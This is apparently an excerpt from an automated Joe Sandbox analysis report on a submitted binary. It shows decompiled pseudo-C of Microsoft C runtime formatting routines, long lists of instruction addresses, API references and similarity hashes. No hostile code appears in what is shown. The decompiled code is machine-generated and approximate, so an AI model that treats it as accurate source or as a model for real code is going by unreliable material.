																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L27;
															case 0xc:
																L26:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L27;
															case 0xd:
																L27:
																goto L214;
														}
													} else {
														_t517 = 0;
														if(0 == 0) {
															 *(_t525 - 0x4dc) = 0;
														} else {
															 *(_t525 - 0x4dc) = 1;
														}
														 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
														if( *(_t525 - 0x46c) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t498 = L0041E000();
															_t527 = _t527 + 0x14;
															if(_t498 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t525 - 0x46c) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422AF0(_t510))) = 0x16;
															E00422880(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t525 - 0x4c8) = 0xffffffff;
															E0041AAA0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4c8);
															L225:
															return E0042BAA0(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
														}
													}
												}
												L215:
												__eflags =  *(_t525 - 0x45c);
												if( *(_t525 - 0x45c) == 0) {
													L218:
													 *(_t525 - 0x4f8) = 1;
													L219:
													_t517 =  *(_t525 - 0x4f8);
													 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t488 = L0041E000();
														_t527 = _t527 + 0x14;
														__eflags = _t488 - 1;
														if(_t488 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) != 0) {
														 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
														E0041AAA0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d4);
													} else {
														 *((intOrPtr*)(L00422AF0(_t502))) = 0x16;
														E00422880(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t525 - 0x4d0) = 0xffffffff;
														E0041AAA0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t525 - 0x45c) - 7;
												if( *(_t525 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t525 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L186:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L187;
										}
										L185:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L187;
										}
										goto L186;
									}
									L180:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x4a4);
									__edx =  *(__ebp - 0x4a8);
									__eax = E00430570( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
									 *(__ebp - 0x494) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x4a4);
									__ecx =  *(__ebp - 0x4a8);
									 *(__ebp - 0x4a8) = E004305F0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x4a4) = __edx;
									__eflags =  *(__ebp - 0x494) - 0x39;
									if( *(__ebp - 0x494) > 0x39) {
										__edx =  *(__ebp - 0x494);
										__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
										__eflags = __edx;
										 *(__ebp - 0x494) = __edx;
									}
									__eax =  *(__ebp - 4);
									 *( *(__ebp - 4)) =  *(__ebp - 0x494);
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									goto L179;
								}
							}
							L165:
							__eflags =  *(__ebp - 0x4a0);
							if( *(__ebp - 0x4a0) >= 0) {
								goto L167;
							}
							goto L166;
							L167:
							__ecx =  *(__ebp - 0x4a0);
							 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
							__edx =  *(__ebp - 0x49c);
							 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
							goto L168;
						}
					}
				}
			}

0x0043c039
0x0043c039
0x0043c039
0x0043c039
0x0043c039
0x0043c039
0x0043c039
0x0043c043
0x0043c043
0x0043c043
0x0043c04d
0x0043c04d
0x0043c053
0x0043c055
0x0043c05a
0x0043c064
0x0043c064
0x0043c067
0x0043c06b
0x0043c06b
0x0043c092
0x0043c092
0x0043c095
0x0043c095
0x0043c09a
0x0043c0bc
0x0043c0bc
0x0043c0c2
0x0043c0e4
0x0043c0e4
0x0043c0e7
0x0043c12e
0x0043c12e
0x0043c131
0x0043c14e
0x0043c152
0x0043c15a
0x0043c15a
0x0043c15c
0x0043c162
0x0043c133
0x0043c133
0x0043c137
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ec
0x0043c0ef
0x0043c10d
0x0043c119
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f1
0x0043c0f5
0x0043c0fd
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c4
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c09c
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16b
0x0043c16e
0x00000000
0x00000000
0x0043c170
0x0043c170
0x0043c177
0x00000000
0x00000000
0x0043c179
0x0043c179
0x0043c184
0x0043c18a
0x0043c18c
0x0043c192
0x0043c195
0x0043c197
0x0043c19d
0x0043c1a6
0x0043c1ab
0x0043c1c8
0x0043c1cb
0x0043c1cb
0x0043c1d0
0x0043c1d5
0x0043c1d5
0x0043c1db
0x0043c1dd
0x0043c1e3
0x0043c1e9
0x0043c1e9
0x0043c1f2
0x0043c1f2
0x0043c1db
0x0043c1f8
0x0043c1fc
0x0043c20a
0x0043c20d
0x0043c210
0x0043c217
0x0043c219
0x0043c219
0x0043c1fe
0x0043c1fe
0x0043c1fe
0x0043c226
0x0043c226
0x0043c22c
0x0043c22e
0x0043c22e
0x0043c235
0x0043c23b
0x0043c23e
0x0043c23e
0x0043c23e
0x0043c244
0x0043c247
0x0043c24a
0x0043c24c
0x00000000
0x00000000
0x0043c24e
0x0043c254
0x0043c254
0x0043c25a
0x0043c2d7
0x0043c2dd
0x0043c2e0
0x0043c2e3
0x0043c2e6
0x0043c2e9
0x0043c2ef
0x0043c2ef
0x0043c2f5
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x0043c32a
0x0043c32d
0x0043c32d
0x0043c330
0x0043c335
0x0043c335
0x0043c33a
0x0043c351
0x0043c351
0x0043c354
0x0043c36b
0x0043c36b
0x0043c36e
0x0043c370
0x0043c375
0x0043c379
0x0043c379
0x0043c356
0x0043c356
0x0043c35b
0x0043c35f
0x0043c35f
0x0043c33c
0x0043c33c
0x0043c341
0x0043c345
0x0043c345
0x0043c33a
0x0043c383
0x0043c386
0x0043c389
0x0043c392
0x0043c392
0x0043c395
0x0043c397
0x0043c39e
0x0043c3a2
0x0043c3ab
0x0043c3b0
0x0043c3b3
0x0043c3ba
0x0043c3be
0x0043c3c2
0x0043c3ce
0x0043c3d1
0x0043c3d1
0x0043c3d4
0x0043c3d9
0x0043c3d9
0x0043c3dc
0x0043c3de
0x0043c3e5
0x0043c3e9
0x0043c3f2
0x0043c3f7
0x0043c3dc
0x0043c3fa
0x0043c3fe
0x0043c4b8
0x0043c4b8
0x0043c4bf
0x0043c4c3
0x0043c4c7
0x0043c4cb
0x00000000
0x0043c404
0x0043c404
0x0043c404
0x0043c408
0x00000000
0x00000000
0x0043c40e
0x0043c40e
0x0043c411
0x0043c417
0x0043c41a
0x0043c420
0x0043c420
0x0043c420
0x0043c42c
0x0043c42f
0x0043c435
0x0043c437
0x00000000
0x00000000
0x0043c439
0x0043c439
0x0043c43c
0x0043c442
0x0043c44a
0x0043c44c
0x0043c453
0x0043c45a
0x0043c469
0x0043c46f
0x0043c476
0x0043c484
0x0043c484
0x0043c48b
0x0043c497
0x0043c4a5
0x0043c4ab
0x00000000
0x0043c4ab
0x0043c478
0x0043c478
0x00000000
0x0043c478
0x0043c4b6
0x0043c4d3
0x0043c4d3
0x0043c4da
0x0043c4df
0x0043c4df
0x0043c4e2
0x0043c4e4
0x0043c4eb
0x0043c4f8
0x0043c4fd
0x0043c4e2
0x0043c4da
0x0043c500
0x0043c500
0x0043c504
0x0043c508
0x0043c50c
0x0043c514
0x0043c514
0x0043c51b
0x0043c51b
0x0043b69b
0x0043b6a2
0x0043b6af
0x0043b6b4
0x00000000
0x0043b6c7
0x0043b6d1
0x0043b6f8
0x0043b6df
0x0043b6f0
0x0043b6f0
0x0043b6d1
0x0043b702
0x0043b708
0x0043b714
0x0043b717
0x0043b725
0x0043b728
0x0043b735
0x0043b7da
0x0043b7e0
0x0043b7e6
0x0043b7ed
0x00000000
0x00000000
0x0043b7f3
0x0043b7f9
0x00000000
0x0043b800
0x0043b800
0x0043b81a
0x0043b81f
0x00000000
0x00000000
0x0043b827
0x0043b827
0x0043b82e
0x0043b831
0x0043b834
0x0043b837
0x0043b83a
0x0043b83d
0x0043b840
0x0043b847
0x0043b84e
0x00000000
0x00000000
0x0043b85a
0x0043b85a
0x0043b861
0x0043b86d
0x0043b870
0x0043b876
0x0043b87d
0x00000000
0x00000000
0x0043b87f
0x0043b885
0x0043b885
0x0043b88c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b8d0
0x0043b8d0
0x0043b8d7
0x0043b8da
0x0043b904
0x0043b907
0x0043b907
0x0043b911
0x0043b911
0x0043b915
0x0043b8dc
0x0043b8dc
0x0043b8e8
0x0043b8eb
0x0043b8ef
0x0043b8f1
0x0043b8f4
0x0043b8f4
0x0043b8f7
0x0043b8fa
0x0043b8fd
0x0043b8ff
0x0043b8ff
0x0043b902
0x0043b918
0x00000000
0x00000000
0x0043b91d
0x0043b91d
0x00000000
0x00000000
0x0043b929
0x0043b929
0x0043b930
0x0043b933
0x0043b953
0x0043b956
0x0043b956
0x0043b960
0x0043b960
0x0043b964
0x0043b935
0x0043b935
0x0043b941
0x0043b944
0x0043b948
0x0043b94a
0x0043b94a
0x0043b951
0x00000000
0x00000000
0x0043b96c
0x0043b96c
0x0043b973
0x0043b97f
0x0043b982
0x0043b988
0x0043b98f
0x0043baa2
0x00000000
0x0043baa2
0x0043b995
0x0043b99b
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9d9
0x0043b9d9
0x0043b9dc
0x0043b9df
0x0043b9e2
0x0043ba09
0x0043ba09
0x0043ba0c
0x0043ba0f
0x0043ba12
0x0043ba36
0x0043ba36
0x0043ba39
0x0043ba3c
0x0043ba3f
0x0043ba78
0x0043ba89
0x00000000
0x0043ba89
0x0043ba41
0x0043ba41
0x0043ba44
0x0043ba47
0x0043ba4a
0x00000000
0x00000000
0x0043ba4c
0x0043ba4c
0x0043ba4f
0x0043ba52
0x0043ba55
0x00000000
0x00000000
0x0043ba57
0x0043ba57
0x0043ba5a
0x0043ba5d
0x0043ba60
0x00000000
0x00000000
0x0043ba62
0x0043ba62
0x0043ba65
0x0043ba68
0x0043ba6b
0x00000000
0x00000000
0x0043ba6d
0x0043ba6d
0x0043ba70
0x0043ba73
0x0043ba76
0x0043ba7a
0x00000000
0x0043ba7a
0x00000000
0x0043ba76
0x0043ba14
0x0043ba14
0x0043ba17
0x0043ba1b
0x0043ba1e
0x00000000
0x0043ba20
0x0043ba23
0x0043ba26
0x0043ba2c
0x0043ba31
0x00000000
0x0043ba31
0x0043ba1e
0x0043b9e4
0x0043b9e4
0x0043b9e7
0x0043b9eb
0x0043b9ee
0x00000000
0x0043b9f0
0x0043b9f3
0x0043b9f6
0x0043b9fc
0x0043ba01
0x00000000
0x0043ba01
0x00000000
0x0043ba8b
0x0043ba8b
0x0043ba8e
0x0043ba91
0x00000000
0x00000000
0x0043b9a9
0x0043b9a9
0x0043b9ac
0x0043b9af
0x0043b9b2
0x0043b9cb
0x0043b9ce
0x0043b9ce
0x0043b9d1
0x0043b9b4
0x0043b9b4
0x0043b9b7
0x0043b9ba
0x0043b9c0
0x0043b9c6
0x0043b9c6
0x00000000
0x00000000
0x0043ba96
0x0043ba96
0x0043ba99
0x0043ba99
0x0043ba9f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043baa7
0x0043baa7
0x0043baae
0x0043bab4
0x0043baba
0x0043babd
0x0043bac3
0x0043baca
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x0043c320
0x0043bad0
0x0043bad6
0x0043bad6
0x0043badd
0x00000000
0x0043be61
0x0043be61
0x0043be6f
0x0043be6f
0x0043be72
0x00000000
0x00000000
0x0043bae4
0x0043bae7
0x0043bae7
0x0043baed
0x0043baef
0x0043baf2
0x0043baf2
0x0043baf5
0x0043baf5
0x00000000
0x00000000
0x0043bc2a
0x0043bc2d
0x0043bc2d
0x0043bc32
0x0043bc34
0x0043bc37
0x0043bc37
0x0043bc3a
0x0043bc3a
0x00000000
0x00000000
0x0043c02d
0x0043c02d
0x0043c043
0x0043c043
0x0043c04d
0x0043c04d
0x0043c053
0x0043c055
0x0043c05a
0x0043c064
0x0043c064
0x0043c067
0x0043c06b
0x0043c06b
0x00000000
0x00000000
0x0043bb94
0x0043bb94
0x0043bba0
0x0043bba6
0x0043bbad
0x0043bbbb
0x0043bbbb
0x0043bbc1
0x0043bbc4
0x0043bbd0
0x0043bc25
0x00000000
0x0043bc25
0x0043bbaf
0x0043bbaf
0x0043bbb5
0x0043bbb9
0x0043bbd8
0x0043bbd8
0x0043bbde
0x0043bc06
0x0043bc0d
0x0043bc13
0x0043bc16
0x0043bc19
0x0043bc1f
0x0043bc22
0x0043bbe0
0x0043bbe0
0x0043bbe6
0x0043bbe9
0x0043bbec
0x0043bbf2
0x0043bbf5
0x0043bbf8
0x0043bbfa
0x0043bbfd
0x0043bbfd
0x00000000
0x0043bbde
0x00000000
0x00000000
0x0043be79
0x0043be7c
0x0043be7f
0x0043be82
0x0043be88
0x0043be8b
0x0043be92
0x0043be96
0x0043bea1
0x0043bea1
0x0043bea5
0x0043bebc
0x0043bebc
0x0043bec3
0x0043bec5
0x0043bec5
0x0043becc
0x0043becc
0x0043bed3
0x0043bee1
0x0043bee4
0x0043bef3
0x0043bef6
0x0043befa
0x0043bf0f
0x0043befc
0x0043befc
0x0043beff
0x0043bf05
0x0043bf0a
0x0043bf0a
0x0043befa
0x0043bf19
0x0043bf1c
0x0043bf1f
0x0043bf22
0x0043bf25
0x0043bf28
0x0043bf2e
0x0043bf34
0x0043bf3c
0x0043bf3d
0x0043bf40
0x0043bf41
0x0043bf44
0x0043bf45
0x0043bf4c
0x0043bf4d
0x0043bf50
0x0043bf51
0x0043bf54
0x0043bf55
0x0043bf5b
0x0043bf5c
0x0043bf6b
0x0043bf6d
0x0043bf73
0x0043bf73
0x0043bf78
0x0043bf7a
0x0043bf7e
0x0043bf80
0x0043bf88
0x0043bf89
0x0043bf8c
0x0043bf8d
0x0043bf9c
0x0043bf9e
0x0043bf9e
0x0043bf7e
0x0043bfa1
0x0043bfa8
0x0043bfab
0x0043bfb0
0x0043bfb0
0x0043bfb6
0x0043bfb8
0x0043bfc0
0x0043bfc1
0x0043bfc4
0x0043bfc5
0x0043bfd3
0x0043bfd5
0x0043bfd5
0x0043bfb6
0x0043bfd8
0x0043bfdb
0x0043bfde
0x0043bfe1
0x0043bfe6
0x0043bfeb
0x0043bfee
0x0043bff1
0x0043bff1
0x0043bff4
0x0043bff4
0x0043bff7
0x0043c003
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x00000000
0x0043c320
0x0043bea7
0x0043bea7
0x0043beae
0x0043beb1
0x00000000
0x00000000
0x0043beb3
0x0043beb3
0x00000000
0x0043beb3
0x0043be98
0x0043be98
0x00000000
0x00000000
0x0043baf8
0x0043baf8
0x0043bb03
0x0043bb0b
0x0043bb12
0x0043bb15
0x0043bb15
0x0043bb18
0x0043bb71
0x0043bb78
0x0043bb1a
0x0043bb21
0x0043bb27
0x0043bb2d
0x0043bb34
0x0043bb37
0x0043bb3d
0x0043bb45
0x0043bb47
0x0043bb4e
0x0043bb55
0x0043bb5c
0x0043bb64
0x0043bb66
0x0043bb68
0x0043bb68
0x0043bb6f
0x0043bb7f
0x0043bb85
0x0043bb88
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x00000000
0x0043c00b
0x0043c00e
0x0043c011
0x0043c014
0x0043c092
0x0043c095
0x0043c095
0x0043c09a
0x0043c0bc
0x0043c0bc
0x0043c0c2
0x0043c0e4
0x0043c0e4
0x0043c0e7
0x0043c12e
0x0043c12e
0x0043c131
0x0043c14e
0x0043c152
0x0043c15a
0x0043c15a
0x0043c15c
0x0043c162
0x0043c133
0x0043c133
0x0043c137
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ec
0x0043c0ef
0x0043c10d
0x0043c119
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f1
0x0043c0f5
0x0043c0fd
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c4
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c09c
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16b
0x0043c16e
0x00000000
0x00000000
0x00000000
0x0043bd6a
0x0043bd6a
0x0043bd76
0x0043bd7c
0x0043bd81
0x0043bd83
0x0043be2d
0x0043be2d
0x0043be30
0x0043be30
0x0043be33
0x0043be47
0x0043be4d
0x0043be53
0x0043be35
0x0043be35
0x0043be3b
0x0043be42
0x0043be42
0x0043be55
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x0043c320
0x0043bd89
0x0043bd89
0x0043bd89
0x0043bd8b
0x0043bd99
0x0043bd8d
0x0043bd8d
0x0043bd8d
0x0043bda3
0x0043bda9
0x0043bdaf
0x0043bdb6
0x0043bdb8
0x0043bdbd
0x0043bdbf
0x0043bdc4
0x0043bdc9
0x0043bdcb
0x0043bdd0
0x0043bdd3
0x0043bdd6
0x0043bdd8
0x0043bdd8
0x0043bdd6
0x0043bdd9
0x0043bde0
0x0043be28
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x0043bde2
0x0043bde2
0x0043bde7
0x0043be03
0x0043be0b
0x0043be15
0x0043be18
0x0043be1d
0x00000000
0x0043be1d
0x00000000
0x0043c074
0x0043c074
0x0043c07e
0x0043c07e
0x0043c084
0x0043c086
0x0043c089
0x0043c089
0x0043c08f
0x0043c08f
0x0043c092
0x0043c092
0x0043c095
0x0043c095
0x0043c09a
0x0043c0bc
0x0043c0bc
0x0043c0c2
0x0043c0e4
0x0043c0e4
0x0043c0e7
0x0043c12e
0x0043c12e
0x0043c131
0x0043c14e
0x0043c152
0x0043c15a
0x0043c15a
0x0043c15c
0x0043c162
0x0043c133
0x0043c133
0x0043c137
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ec
0x0043c0ef
0x0043c10d
0x0043c119
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f1
0x0043c0f5
0x0043c0fd
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c4
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c09c
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16b
0x0043c16e
0x00000000
0x00000000
0x00000000
0x0043c16e
0x00000000
0x0043c026
0x0043c026
0x00000000
0x00000000
0x0043bc3d
0x0043bc3d
0x0043bc41
0x0043bc4f
0x0043bc52
0x0043bc43
0x0043bc43
0x0043bc43
0x0043bc58
0x0043bc5e
0x0043bc64
0x0043bc70
0x0043bc76
0x0043bc76
0x0043bc79
0x0043bd01
0x0043bd01
0x0043bd05
0x0043bd07
0x0043bd0d
0x0043bd0d
0x0043bd10
0x0043bd17
0x0043bd1a
0x0043bd20
0x0043bd20
0x0043bd20
0x0043bd26
0x0043bd2c
0x0043bd2f
0x0043bd35
0x0043bd37
0x00000000
0x00000000
0x0043bd39
0x0043bd39
0x0043bd3f
0x0043bd42
0x0043bd44
0x00000000
0x00000000
0x0043bd46
0x0043bd4c
0x0043bd4f
0x0043bd4f
0x0043bd57
0x0043bd57
0x0043bd5d
0x0043bd5d
0x0043bd62
0x00000000
0x0043bc7f
0x0043bc7f
0x0043bc7f
0x0043bc83
0x0043bc85
0x0043bc8a
0x0043bc8a
0x0043bc8d
0x0043bc90
0x0043bc96
0x0043bca8
0x0043bca8
0x0043bca8
0x0043bcab
0x0043bcb1
0x00000000
0x00000000
0x0043bcb3
0x0043bcb3
0x0043bcb9
0x0043bcbc
0x0043bcbe
0x00000000
0x00000000
0x0043bcc0
0x0043bcc0
0x0043bcc9
0x0043bccf
0x0043bcd3
0x0043bcdb
0x0043bcdd
0x0043bcdf
0x0043bce5
0x0043bce5
0x0043bce8
0x0043bce8
0x0043bcf4
0x0043bcf7
0x0043bc9f
0x0043bca2
0x0043bca2
0x0043bca5
0x0043bca5
0x0043bcff
0x0043bd65
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x0043c320
0x00000000
0x0043c01d
0x0043c01d
0x0043c092
0x0043c092
0x0043c095
0x0043c095
0x0043c09a
0x0043c0bc
0x0043c0bc
0x0043c0c2
0x0043c0e4
0x0043c0e4
0x0043c0e7
0x0043c12e
0x0043c12e
0x0043c131
0x0043c14e
0x0043c152
0x0043c15a
0x0043c15a
0x0043c15c
0x0043c162
0x0043c133
0x0043c133
0x0043c137
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ec
0x0043c0ef
0x0043c10d
0x0043c119
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f1
0x0043c0f5
0x0043c0fd
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c4
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c09c
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16b
0x0043c16e
0x00000000
0x00000000
0x00000000
0x0043c16e
0x00000000
0x00000000
0x00000000
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x00000000
0x00000000
0x0043b8a9
0x0043b8a9
0x0043b8ac
0x0043b8af
0x00000000
0x00000000
0x0043b8b4
0x0043b8b7
0x0043b8bd
0x00000000
0x00000000
0x0043b89e
0x0043b8a1
0x0043b8a4
0x00000000
0x00000000
0x0043b893
0x0043b896
0x0043b899
0x00000000
0x00000000
0x0043b8c2
0x0043b8c2
0x0043b8c5
0x0043b8c5
0x0043b8c8
0x00000000
0x00000000
0x0043b8cb
0x00000000
0x00000000
0x0043b73b
0x0043b73b
0x0043b73d
0x0043b74b
0x0043b73f
0x0043b73f
0x0043b73f
0x0043b75b
0x0043b768
0x0043b76a
0x0043b76f
0x0043b771
0x0043b776
0x0043b77b
0x0043b77d
0x0043b782
0x0043b788
0x0043b78a
0x0043b78a
0x0043b788
0x0043b78b
0x0043b792
0x00000000
0x0043b794
0x0043b799
0x0043b7b5
0x0043b7bd
0x0043b7ca
0x0043b7cf
0x0043c5e4
0x0043c5f1
0x0043c5f1
0x0043b792
0x0043b735
0x0043c520
0x0043c520
0x0043c527
0x0043c53e
0x0043c53e
0x0043c548
0x0043c548
0x0043c54e
0x0043c554
0x0043c55b
0x0043c55d
0x0043c562
0x0043c564
0x0043c569
0x0043c56e
0x0043c570
0x0043c575
0x0043c578
0x0043c57b
0x0043c57d
0x0043c57d
0x0043c57b
0x0043c57e
0x0043c585
0x0043c5d0
0x0043c5d9
0x0043c5de
0x0043c587
0x0043c58c
0x0043c5a8
0x0043c5b0
0x0043c5bd
0x0043c5c2
0x0043c5c2
0x00000000
0x0043c585
0x0043c529
0x0043c529
0x0043c530
0x00000000
0x00000000
0x0043c532
0x0043c532
0x00000000
0x0043c532
0x0043c320
0x0043c2f7
0x0043c2f7
0x0043c2fb
0x0043c308
0x0043c30b
0x0043c30e
0x0043c311
0x0043c314
0x0043c317
0x0043c31a
0x0043c31a
0x0043c31d
0x00000000
0x0043c31d
0x0043c2fd
0x0043c2fd
0x0043c300
0x0043c303
0x0043c306
0x00000000
0x00000000
0x00000000
0x0043c306
0x0043c25c
0x0043c25c
0x0043c25f
0x0043c262
0x0043c269
0x0043c270
0x0043c278
0x0043c27e
0x0043c281
0x0043c284
0x0043c28b
0x0043c297
0x0043c29d
0x0043c2a3
0x0043c2aa
0x0043c2ac
0x0043c2b2
0x0043c2b2
0x0043c2b8
0x0043c2b8
0x0043c2be
0x0043c2c7
0x0043c2cc
0x0043c2cf
0x0043c23e
0x0043c23e
0x0043c244
0x0043c247
0x0043c24a
0x0043c24c
0x00000000
0x00000000
0x00000000
0x0043c24c
0x0043c23e
0x0043c17b
0x0043c17b
0x0043c182
0x00000000
0x00000000
0x00000000
0x0043c1b0
0x0043c1b0
0x0043c1b6
0x0043c1bc
0x0043c1c2
0x00000000
0x0043c1c2
0x0043c092
0x0043c043

APIs

_get_int64_arg.LIBCMTD ref: 0043C0A0
__aullrem.LIBCMT ref: 0043C270
__aulldiv.LIBCMT ref: 0043C292

Strings

', xrefs: 0043C039
9, xrefs: 0043C2A3

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction ID: 8801e482fd00406050497456e7ec98a3a0168de03b8956f772f9f23da371bbf2
Opcode Fuzzy Hash: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction Fuzzy Hash: 4341F5B1E001299FDF24CF98C881BAFB7B5BF89314F1451DAD148A7241D7785A81DF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00437373, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00437373(void* __ebx, void* __esi) {
				signed int _t74;
				intOrPtr _t75;
				void* _t80;
				signed int _t84;
				void* _t92;
				void* _t97;
				signed int _t106;
				signed int _t108;
				signed int _t112;
				signed int _t113;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed int _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				void* _t140;

				_t128 = __esi;
				_t97 = __ebx;
				_t113 =  *(_t129 + 0xc);
				 *_t113 = 0;
				if( *(_t129 + 0x10) != 0xffffffff &&  *(_t129 + 0x10) != 0x7fffffff &&  *(_t129 + 0x10) > 1) {
					_t140 =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
					if(_t140 >= 0) {
						_t113 =  *(_t129 + 0x10) - 1;
						__eflags = _t113;
						 *(_t129 - 0x20) = _t113;
					} else {
						_t112 =  *0x440208; // 0xffffffff
						 *(_t129 - 0x20) = _t112;
					}
					E0041B190(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x20));
					_t131 = _t131 + 0xc;
				}
